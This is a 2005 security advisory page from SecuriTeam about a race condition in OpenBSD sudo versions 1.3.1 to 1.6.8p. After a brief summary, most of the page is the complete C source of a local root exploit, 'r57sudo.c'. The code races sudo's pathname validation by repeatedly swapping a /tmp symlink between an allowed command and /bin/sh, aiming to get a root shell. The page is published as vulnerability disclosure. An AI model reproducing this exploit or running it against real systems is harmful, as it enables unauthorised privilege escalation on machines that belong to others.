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Ask the Team  Mailing Lists  Advertising Info  Advisories  About SecuriTeam  Blogs Brought to you by: Suppliers of: Website Testing Tools Network Testing Tools Software Testing Tools SecuriTeam in Your Inbox New vulnerability? New tool? Tell us (Our PGP key). CanSecWest 2012 2nd Annual Cyber Security Hack In Paris	sudo Pathname Validation Race Condition (Exploit) 5 Jul. 2005    Summary sudo (superuser do) is "a program written for UNIX, Linux, and similar operating systems that allows users to run programs in the guise of another user (normally in the guise of the system's superuser)". A race condition in sudo whenever it tries to validates file pathname allows local attackers to gain elevated privileges.   Credit: The original article can be found at: http://rst.void.ru/download/r57sudo.c The information has been provided by __blf. Website Security Scan Code Vulnerability Test Network Assessment Tool Detect hidden vulnerabilities Exhaustive automated testing Real-time, continuous security Get guidance from professionals of internal or 3rd party code. scanning for your entire network    Details Protect your website! Use an External Vulnerability Scanner! Nothing to install. First report in 1 hour! www.beyondsecurity.com/vulnerability-scanner Vulnerable Systems:  * OpenBSD sudo versions 1.3.1 - 1.6.8p Exploit: #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sysexits.h> #include <sys/wait.h> #define SUDO "/usr/bin/sudo" #ifdef BUFSIZ   #undef BUFSIZ   #define BUFSIZ 128 #endif /* ANY MODIFIED REPUBLISHING IS RESTRICTED OpenBSD sudo 1.3.1 - 1.6.8p local root exploit Tested under OpenBSD 3.6 sudo 1.6.7p5 Vuln by OpenBSD errata, http://www.openbsd.org/errata.html (c)oded by __blf 2005 RusH Security Team, http://rst.void.ru Race condition in path name, can take a while to exploit Gr33tz: x97Rang, whice, rsh, MishaSt, Inck-Vizitor, BlackPrince Fck lamerz: Saint_I, nmalykh All rights reserved. ANY MODIFIED REPUBLISHING IS RESTRICTED */ int main (int argc, char ** argv) {   pid_t pid;   void * buffer;   char * exec, * race, * path;   if(argc != 3)   {     fprintf(stderr, "r57sudo.c by __blf\n");     fprintf(stderr, "RusH Security Team\n");     fprintf(stderr, "Usage: %s <sudo full path command> <sudo command>\n",     argv[0]);     fprintf(stderr, "e.g. ./r57sudo /bin/ls ls\n");     return EX_USAGE;   }   pid = fork();   if(pid == 0)   {     while(1)     {       exec = (char *)calloc(BUFSIZ, sizeof(char));       race = (char *)calloc(BUFSIZ, sizeof(char));       bzero(exec, sizeof(exec));       snprintf(exec, BUFSIZ, "ln -fs %s /tmp/%s", argv[1], argv[2]);       system((char *)exec);       bzero(race, sizeof(race));       snprintf(race, BUFSIZ, "rm /tmp/%s", argv[2]);       system((char *)race);       bzero(race, sizeof(race));       snprintf(race, BUFSIZ, "ln -fs /bin/sh /tmp/%s", argv[2]);       system((char *)race);       bzero(race, sizeof(race));       snprintf(race, BUFSIZ, "rm /tmp/%s", argv[2]);       system((char *)race);     }   }   if(pid > 0)   {     while(1)     {       path = (char *)calloc(BUFSIZ/2, sizeof(char));       snprintf(path, BUFSIZ/2, "%s /tmp/%s", SUDO, argv[2]);       system((char *)path);     }   } }  Comments: blog comments powered by Disqus	All Sections Security News Unix focus Exploits Tools Windows focus Security Reviews  Related Articles ProFTPD Response Pool Use-After-Free Code Execution Vulnerability Insight Control for Linux Multiple Vulnerabilities HP-UX Running NFS/ONCplus Denial of Service Vulnerability HP-UX Running BIND Denial of Service Vulnerability 2011 HP-UX Running XNTP Denial of Service Vulnerability HP-UX Denial of Service Vulnerability Webkit Detached Body Element Code Execution Vulnerability Mac OS X Compact Font Format Decoder Code Execution Vulnerability WebKit WBR Tag Removal Code Execution Vulnerability Webkit Undefined DOM Prototype Attach Code Execution Vulnerability Apple HFS Information Disclosure Vulnerability XPDF arbitrary Arbitrary Code Execution Vulnerabilities Hewlett-Packard Data Protector Client EXEC_CMD omni_chk_ds.sh Code Execution Vulnerability Red Hat OpenJDK IcedTea6 ClassLoader Code Execution Vulnerability HP-UX Apache Running Tomcat Servlet Engine Remote Modification and Denial of Service Vulnerabilities  Featured Articles ProFTPD Response Pool Use-After-Free Code Execution Vulnerability HP Data Protector Notebook Extension LogClientInstallation SQL Injection Vulnerabilty GE Proficy Historian ihDataArchiver.exe Trusted Header Size Code Execution Vulnerability Novell ZENWorks Software Packaging Antique ActiveX Control Code Execution Vulnerability Adobe Reader U3D IFF RGBA Parsing Code Execution Vulnerability Adobe Reader U3D PCX Parsing Code Execution Vulnerability Cisco Unified Service Monitor brstart add_dm Code Execution Vulnerability
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